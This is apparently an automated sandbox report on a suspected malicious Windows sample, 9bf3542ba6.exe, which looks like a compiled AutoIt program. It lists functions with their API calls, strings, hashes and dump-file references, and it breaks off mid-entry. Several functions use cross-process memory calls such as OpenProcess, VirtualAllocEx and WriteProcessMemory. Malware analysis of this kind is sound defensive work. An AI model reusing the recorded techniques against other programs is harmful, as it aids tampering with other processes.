Instruction ID: 4b466713ea8e07440c39715a166b7fdad3b1d5eb9371f90eed8016521ef8a74b
Opcode Fuzzy Hash: 629525ab6f0a0bc8770618741b5fc5bef7dd84ecbbaabc0474d4b72d0c84ef16
Instruction Fuzzy Hash: AEF0FF3259420DAB8621FB68F9C5C3A7BDEBB447107A40805F258EB626C778FC808B74

Function 00825C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00825C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00825C6F
MessageBeep.USER32(00000000), ref: 00825C87
KillTimer.USER32(?,0000040A), ref: 00825CA3
EndDialog.USER32(?,00000001), ref: 00825CBD

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 117d3687f61f19dcfdfe37ffa49d38e08f743ea562641f5290d9f033d277b3f6
Instruction ID: be93153f7922a6dd4a2b4dfb98b64f5fb8adb85983f935eb60e50cb974736ca3
Opcode Fuzzy Hash: 117d3687f61f19dcfdfe37ffa49d38e08f743ea562641f5290d9f033d277b3f6
Instruction Fuzzy Hash: D3018170540B14AFEB215B50ED5EFA677F8FB14B46F00055DA583A14E1EBF8AA888E90

Function 007F22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007F22BE

Part of subcall function 007F29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000), ref: 007F29DE
Part of subcall function 007F29C8: GetLastError.KERNEL32(00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000,00000000), ref: 007F29F0

_free.LIBCMT ref: 007F22D0
_free.LIBCMT ref: 007F22E3
_free.LIBCMT ref: 007F22F4
_free.LIBCMT ref: 007F2305

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a053191d2170143411ca281ee17f3c04803022c0f7929e7c9d1c13586ae210da
Instruction ID: b09b7e83b4da207c761f31d64458a099ffb1cf29526ffe48f95ba08b8d7f3a2b
Opcode Fuzzy Hash: a053191d2170143411ca281ee17f3c04803022c0f7929e7c9d1c13586ae210da
Instruction Fuzzy Hash: 3FF05E71884126CF8A12FF98BC098283B64FB18760709051BF514E73BACB781912AFE4

Function 007D95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 007D95D4
StrokeAndFillPath.GDI32(?,?,008171F7,00000000,?,?,?), ref: 007D95F0
SelectObject.GDI32(?,00000000), ref: 007D9603
DeleteObject.GDI32 ref: 007D9616
StrokePath.GDI32(?), ref: 007D9631

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 0cda37a1c8c9d015bd3f06d78e705aea3f876c1ac1016f7e6cdf57e3a815b092
Instruction ID: 27402454472b09c5f3559e180611679818d6faa00f35da472488d6414ebf786c
Opcode Fuzzy Hash: 0cda37a1c8c9d015bd3f06d78e705aea3f876c1ac1016f7e6cdf57e3a815b092
Instruction Fuzzy Hash: 4FF01930009705EFDB126F65ED1C7A43F71BB00362F488216F525551F0D73989A1DF20

Function 007F0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 007F10F9
__freea.LIBCMT ref: 007F1117

Part of subcall function 007F1537: _free.LIBCMT ref: 007F154F

Strings

a/p, xrefs: 007F11DE
am/pm, xrefs: 007F117A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 1d7ae476ff71016067041c16f9a02aa4ffafda2fc4de4797d6ed169b27533bc6
Instruction ID: 22b0d142463c0148510520220dc809f79f6fb38a8bdacde15bd3e6d93c48ddd7
Opcode Fuzzy Hash: 1d7ae476ff71016067041c16f9a02aa4ffafda2fc4de4797d6ed169b27533bc6
Instruction Fuzzy Hash: 31D1F231A1020ECADB289F68C855BFAB7B1FF06310FA84159EB11AB751D77D9D80CB91

Function 00847B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 007E0242: EnterCriticalSection.KERNEL32(0089070C,00891884,?,?,007D198B,00892518,?,?,?,007C12F9,00000000), ref: 007E024D
Part of subcall function 007E0242: LeaveCriticalSection.KERNEL32(0089070C,?,007D198B,00892518,?,?,?,007C12F9,00000000), ref: 007E028A

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 007E00A3: __onexit.LIBCMT ref: 007E00A9

__Init_thread_footer.LIBCMT ref: 00847BFB

Part of subcall function 007E01F8: EnterCriticalSection.KERNEL32(0089070C,?,?,007D8747,00892514), ref: 007E0202
Part of subcall function 007E01F8: LeaveCriticalSection.KERNEL32(0089070C,?,007D8747,00892514), ref: 007E0235

Strings

G, xrefs: 00847C7F
5, xrefs: 00847C78
Variable must be of type 'Object'., xrefs: 00847C3A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: a97ac3aad16b9df0f4d84eeac033cad0c1678d212f6eca3eb7e22f8ad8c9d862
Instruction ID: ef7cd21b62c6156295a73a82e1d2203ad2e6033f106e0a7586cc0ac66c968948
Opcode Fuzzy Hash: a97ac3aad16b9df0f4d84eeac033cad0c1678d212f6eca3eb7e22f8ad8c9d862
Instruction Fuzzy Hash: AE915674A0420DEFCB14EF98D895EADB7B2FF48304F148059F806AB292DB75AE45CB51

Function 007F5AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

JO|, xrefs: 007F5BA8, 007F5C6C

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID: JO|
API String ID: 0-2887696345
Opcode ID: da214a9845865a79e57d21e2c12ceae0c728f570d0631f369fd87d4b4c08297e
Instruction ID: a67a72bab9d489e23be8fca55af7aeadfa73f7c8e4f6e39d7b836146dfa1bf57
Opcode Fuzzy Hash: da214a9845865a79e57d21e2c12ceae0c728f570d0631f369fd87d4b4c08297e
Instruction Fuzzy Hash: 7A518EB1901A0EEFCB11AFA5C849ABE7BB8BF49310F14015AF705A7391D7799A01CB61

Function 007F8A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 007F8B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 007F8B7A
__dosmaperr.LIBCMT ref: 007F8B81

Strings

.~, xrefs: 007F8A63

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .~
API String ID: 2434981716-505086709
Opcode ID: 06c9cedee000b3643ffa922ffe08edd86ed2f58d1ddb415cddddf5bc1c4b05b8
Instruction ID: 53e013105071bac08744e369e43c686731152807fdb14b0ebaf3739e80d320f7
Opcode Fuzzy Hash: 06c9cedee000b3643ffa922ffe08edd86ed2f58d1ddb415cddddf5bc1c4b05b8
Instruction Fuzzy Hash: 65419FF160414DAFCB659F24DC85A7D7FA5EB85300F2C819AFA548B742DE39CD028751

Function 00822716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0082B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,008221D0,?,?,00000034,00000800,?,00000034), ref: 0082B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00822760

Part of subcall function 0082B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,008221FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0082B3F8

Part of subcall function 0082B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0082B355
Part of subcall function 0082B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00822194,00000034,?,?,00001004,00000000,00000000), ref: 0082B365
Part of subcall function 0082B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00822194,00000034,?,?,00001004,00000000,00000000), ref: 0082B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 008227CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0082281A

Strings

@, xrefs: 00822832

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 537734bcbd890846e3fb703cbd10248cc1bd5cb9bb2d841982b1a5c78724e1f1
Instruction ID: 52a7d83939bb32342cd8a9e66307ccdbe18699a006442b9dfa788c57945e0e7c
Opcode Fuzzy Hash: 537734bcbd890846e3fb703cbd10248cc1bd5cb9bb2d841982b1a5c78724e1f1
Instruction Fuzzy Hash: 1B411D72901228BFDB10DBA8DD85ADEBBB8FF09700F104099FA55B7181DB706E85CB61

Function 007F172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe,00000104), ref: 007F1769
_free.LIBCMT ref: 007F1834
_free.LIBCMT ref: 007F183E

Strings

C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe, xrefs: 007F1760, 007F1767, 007F1796, 007F17CE

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe
API String ID: 2506810119-101188636
Opcode ID: e37fe49537fac19dcb975639e2008a42ca2ed98eed218bed614219c97bd8f844
Instruction ID: 5b4b43f379e86c97f901c489aafd69bf65d0d70809f80cc8920109a4eadae799
Opcode Fuzzy Hash: e37fe49537fac19dcb975639e2008a42ca2ed98eed218bed614219c97bd8f844
Instruction Fuzzy Hash: 92319D71A0420CEFCB21EB999989DAEBBFCEB85360F544166EA0497311D6748A40CBA0

Function 0082C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0082C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0082C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00891990,01084AA8), ref: 0082C395

Strings

0, xrefs: 0082C2DF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 3c046e6a37e4dd0f631699c06c813209673b0c1ce5af2ccdf63861f92b755cde
Instruction ID: 128aece3e6d6ece3a6cf61edda215c54705176c0038d0b54b4e41d7889d0eb3d
Opcode Fuzzy Hash: 3c046e6a37e4dd0f631699c06c813209673b0c1ce5af2ccdf63861f92b755cde
Instruction Fuzzy Hash: F0418B31204351AFD720DF29E888B6EBBA8FF85324F008A1DE9A5D7391D734A944CB52

Function 00854416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0085CC08,00000000,?,?,?,?), ref: 008544AA
GetWindowLongW.USER32 ref: 008544C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 008544D7

Strings

SysTreeView32, xrefs: 0085447C

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 7b68cad5e425434258f72db2135e4b73d5e7b86a56e03699d86456a2615fbd19
Instruction ID: 355c2fb02c6827ded6fd2ec976502b933cd69d373269591bfa9f7dae780935e3
Opcode Fuzzy Hash: 7b68cad5e425434258f72db2135e4b73d5e7b86a56e03699d86456a2615fbd19
Instruction Fuzzy Hash: 63318B31240205AFDF209E38DC45BEA7BA9FB08329F205319F979E22D0D774EC949B50

Function 0084304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0084335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00843077,?,?), ref: 00843378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0084307A
_wcslen.LIBCMT ref: 0084309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00843106

Strings

255.255.255.255, xrefs: 00843095, 0084309A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 8d79af8b35a8a033d5ad43b0b9ad0d1321e0cb216cec5397a229b727a2384e8f
Instruction ID: d9dbc7e93298c3ee8366971cbf3525f9d85876962c6f796028eeb9b8cf52437a
Opcode Fuzzy Hash: 8d79af8b35a8a033d5ad43b0b9ad0d1321e0cb216cec5397a229b727a2384e8f
Instruction Fuzzy Hash: CE31E435200209DFDB10CF68C485EAA77E0FF14318F248199E915DB392DB76EE45CB60

Function 00853EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00853F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00853F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00853F78

Strings

SysMonthCal32, xrefs: 00853F0B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: aa35f7d4928ad424f19daf9edbe040ed468d099a39f294c8d66d6e593ff82f16
Instruction ID: 5286916e50c78f6e440909814958b523427afde67c3890de5c71e8890f6d25a9
Opcode Fuzzy Hash: aa35f7d4928ad424f19daf9edbe040ed468d099a39f294c8d66d6e593ff82f16
Instruction Fuzzy Hash: 0221AB32600219BFDF219E54DC46FEA3BB9FB48754F110218FE15BB190DAB5A9948BA0

Function 00854653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00854705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00854713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0085471A

Strings

msctls_updown32, xrefs: 00854684

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: c8196ba334c455552098e150af1f54643bbb000433f063c12b92c3c1a8c64714
Instruction ID: aae452a5ebf7ed9e473ab555d490c1b27bd4e8ecd5b36888bfe76eea4101807d
Opcode Fuzzy Hash: c8196ba334c455552098e150af1f54643bbb000433f063c12b92c3c1a8c64714
Instruction Fuzzy Hash: 97218CB5604209AFEB11DF68DCC5DA737EDFB5A3A9B041049FA01DB291CB30EC55CA60

Function 008295AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0082961D

Strings

#OnAutoItStartRegister, xrefs: 008295F3
#notrayicon, xrefs: 008295B7
#requireadmin, xrefs: 008295D9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: a8424675b566b415fb6dfabb2053bc331f42206291d5ebaa6c7562c68868a90e
Instruction ID: 31c2173baf76b92fe582a649a8e87ad42954119a2430a85f95d74732c5b524b4
Opcode Fuzzy Hash: a8424675b566b415fb6dfabb2053bc331f42206291d5ebaa6c7562c68868a90e
Instruction Fuzzy Hash: 0F213832204530A6D331AA25AD06FB773D8FF65314F10402AF9DAD7182EB59AD85C2A6

Function 008537B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00853840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00853850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00853876

Strings

Listbox, xrefs: 0085380F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: b55cf22dea26d95d0ec8678349f5891e6237ec98eda1694b4690ccea49e323a9
Instruction ID: f4d366058e3a799d404ed15193cc4b30c15f20a512c77937d136f299ba489a18
Opcode Fuzzy Hash: b55cf22dea26d95d0ec8678349f5891e6237ec98eda1694b4690ccea49e323a9
Instruction Fuzzy Hash: 2921CF72600218BBEF219FA4CC85FBB376EFF89791F108124F910AB190C675DC568BA0

Function 008349F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00834A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00834A5C
SetErrorMode.KERNEL32(00000000,?,?,0085CC08), ref: 00834AD0

Strings

%lu, xrefs: 00834A6F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
